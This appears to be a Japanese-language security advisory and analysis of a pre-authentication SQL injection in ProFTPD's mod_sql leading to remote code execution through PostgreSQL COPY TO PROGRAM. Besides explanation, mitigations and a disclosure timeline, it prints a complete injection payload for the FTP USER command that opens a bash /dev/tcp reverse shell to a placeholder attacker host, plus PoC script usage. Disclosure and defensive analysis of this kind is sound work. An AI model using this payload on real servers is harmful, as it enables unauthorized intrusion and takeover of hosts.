
Pre-Auth RCE in ProFTPD via mod_sql is_escaped_text() bypass (CVE-2026-42167)
mod_sql SQLインジェクションによる事前認証リモートコード実行著者: Van Glenndon Enad
最初の発見者: ZeroPath
公開日: 2026年5月1日
深刻度: Critical
CVSS v3.1 スコア: 8.1
CVSS v3.1 ベクター: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v2 スコア: 7.6
CVSS v2 ベクター: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (SQLインジェクション), CWE-78 (OSコマンドインジェクション)
CVE-2026-42167は、ProFTPDのmod_sql拡張モジュールにおける重大な事前認証SQLインジェクション脆弱性です。is_escaped_text()関数のロジック上の欠陥により、認証されていない攻撃者が、欠陥のある「エスケープ済み」ヒューリスティックを満たす値をUSERコマンドで送信することで、SQL文字エスケープを回避できます。注入されたSQLはPQexec()を介してバックエンドデータベースに直接渡され、スタッククエリをサポートしています。
ProFTPDのデータベースロールがPostgreSQLスーパーユーザーである場合(コンテナ化されたデプロイメントでは一般的な設定ミス)、インジェクションはPostgreSQLのCOPY TO PROGRAMディレクティブに到達し、postgresシステムユーザーとしての認証不要のOSレベルリモートコード実行につながります。資格情報、事前アクセス、ユーザー操作は一切不要です。
| コンポーネント | バージョン |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| モジュール | mod_sql + mod_sql_postgres |
| 修正版 | 1.3.9a (2026年4月27日リリース) |
| バックエンド | PostgreSQL (RCE); MySQL / SQLite (認証バイパスのみ) |
ProFTPDは広く展開されているオープンソースのFTPサーバーです。Shodanによると、インターネット上には160,000以上の公開アクセス可能なProFTPDインスタンスが存在します。mod_sqlモジュールは、cPanel、Plesk、DirectAdmin、Webmin、ISPConfigなどの共有ホスティングコントロールパネルで一般的に有効化されています。
ProFTPDのmod_sqlモジュールは、SQLベースの認証とアクティビティログをサポートしています。ログフォーマット文字列には、%U(ユーザー名)、%r(リモートホスト)、%m(FTPコマンド)などの置換変数を含めることができます。これらの変数は実行時に展開され、設定されたバックエンドに対して実行されるSQLクエリに挿入されます。
典型的な脆弱な設定:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
この設定では、FTPのUSERコマンドで指定された値が%Uに置換され、SQLのINSERT文に直接含まれます。挿入前に、値はis_escaped_text()に渡され、エスケープが必要かどうかが判断されます。この関数には重大な論理的欠陥があります。
is_escaped_text()関数contrib/mod_sql.cに存在するこの関数は、文字列が「エスケープ済み」かどうかを判断するために以下のヒューリスティックを適用します:
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* 以下の場合、文字列はエスケープ済みと見なす:
* 1. 単一引用符で始まる
* 2. 単一引用符で終わる
* 3. 内部に単一引用符を含まない
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* エスケープをスキップ */
}
return FALSE;
}
この関数がTRUEを返すと、sql_resolved_append_text()(777行目)はエスケープされていない生の値をクエリ文字列に直接挿入します。この値はcontrib/mod_sql_postgres.c(1146行目)のPQexec()によって実行され、スタック(複数文)クエリをサポートしています。
このヒューリスティックは、すでにSQL文字列デリミタで囲まれている文字列を検出することを意図していた可能性があります。しかし、内部コンテンツが安全であることを検証する試みは一切行われず、追加の単一引用符が存在しないことだけを確認しています。つまり、以下の条件を満たすペイロードは:
'で始まる'で終わる$$ドル引用符を使用)...チェックを通過し、SQLクエリにそのまま注入されます。
FTPクライアント ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ %U = '<payload>' を展開 │
│ │ is_escaped_text() = TRUE│
│ │ エスケープをスキップ │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ スタックSQLを実行
│ │ │ COPY TO PROGRAM
│ │ │── シェルコマンド ──▶ OS
| 要件 | 備考 |
|---|---|
mod_sqlがSQLログ記録で有効 | %Uなどの事前認証変数をログに記録する必要がある |
| PostgreSQLバックエンド | COPY TO PROGRAMによるRCEに必要。MySQL/SQLiteでも認証バイパスは可能 |
| DBロールがPostgreSQLスーパーユーザー | COPY TO PROGRAMはスーパーユーザーまたはpg_execute_server_programのメンバーに制限されている |
DBホストでbashが利用可能 | /dev/tcpリバースシェル配信に必要 |
| ネットワーク到達性 | PostgreSQLコンテナがリスナーポートで攻撃者に到達できる必要がある |
スーパーユーザー条件は、公式のPostgreSQL DockerイメージでPOSTGRES_USER=...を使用してProFTPDのDBユーザーが作成されるコンテナ化されたデプロイメントや、管理者がProFTPDロールにデータベースの所有権を付与した場合に頻繁に満たされます。
ステップ1: 攻撃者が細工したUSERコマンドを送信(事前認証、資格情報不要)
│
▼
ステップ2: ProFTPDが%Uを攻撃者が制御する値で展開
│
▼
ステップ3: is_escaped_text()バイパス — 生のSQLがエスケープされずに通過
│
▼
ステップ4: PQexec()がPostgreSQLに対してスタッククエリを実行
│
▼
ステップ5: COPY TO PROGRAMがpostgres OSユーザーとして攻撃者のシェルコマンドを実行
│
▼
ステップ6: リバースシェル / ファイル窃取が攻撃者に配信
インジェクションペイロードはFTPのUSERコマンドを介して配信されます:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| 条件 | 満たされるか? | 理由 |
|---|---|---|
'で始まる | ✅ | 最初の文字が' |
'で終わる | ✅ | 最後の文字が' |
| 内部に単一引用符がない | ✅ | 内部文字列は$$ドル引用符を使用 |
| セグメント | 目的 |
|---|---|
', null, null); | 元のINSERT文をクリーンに閉じる |
COPY (SELECT $$x$$) TO PROGRAM | PostgreSQLのCOPY TO PROGRAMを使用したスタッククエリ |
$$bash -c ...$$ | 単一引用符を避けるために$$ドル引用符を使用したシェルコマンド |
; --' | スタッククエリを終了。--'は残りをコメントアウトし、バイパス用の閉じる'を提供 |
警告: このPoCは教育目的および許可されたテスト目的のみで提供されています。所有していないシステム、または明示的な書面による許可を得ていないシステムに対して使用しないでください。
使用例:
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| カテゴリ | 説明 |
|---|---|
| 機密性 | postgres OSユーザーとしてファイルシステムへの完全な読み取りアクセス |
| 完全性 | ファイルの書き込み、データベースコンテンツの変更、バックドアのインストールが可能 |
| 可用性 | サービス妨害、データ破壊が可能 |
| 認証 | 事前認証でゼロ資格情報で悪用可能 |
| 範囲 | ProFTPDを超えて基盤となるPostgreSQLホストに拡大 |
ProFTPDがPostgreSQLインスタンスと同一ホスト上にある、またはスーパーユーザーアクセスを持つシステムはすべて、ホスト全体の侵害リスクがあります。隣接システムへの横移動、cronジョブやSSHキー注入による永続化は、侵害後に簡単に達成できます。
is_escaped_text()が適切なパラメータ化クエリ処理でパッチされていますmod_sqlベースのログ記録を完全に無効化(SQLLogディレクティブを削除)SQLNamedQuery定義から事前認証ログ変数(%U、%r、%m)を削除INSERTと認証テーブルへのSELECTのみに制限COPY、PROGRAM、SQLキーワードを含むUSERコマンドをFTPログで監視| 日付 | イベント |
|---|---|
| 2026年3月28日 | ProFTPDメンテナーに脆弱性を報告 |
| 2026年4月7日 | パッチ検証を開始 |
| 2026年4月24日 | CVE-2026-42167が割り当て |
| 2026年4月27日 | 修正がコミットされ、ProFTPD 1.3.9aがリリース |
| 2026年4月28日 | NVDに公開 |
| 2026年4月28日–29日 | 公開PoCリポジトリがGitHubに公開 |
| 2026年5月1日 | 独立した分析と簡略化されたPoCが公開 |
法的免責事項: この分析と概念実証は、教育、研究、および防御的セキュリティ目的のみで公開されています。著者はコンピュータシステムへの不正アクセスを容認しません。所有していないシステムに対してセキュリティテストを実施する前に、必ず明示的な書面による許可を取得してください。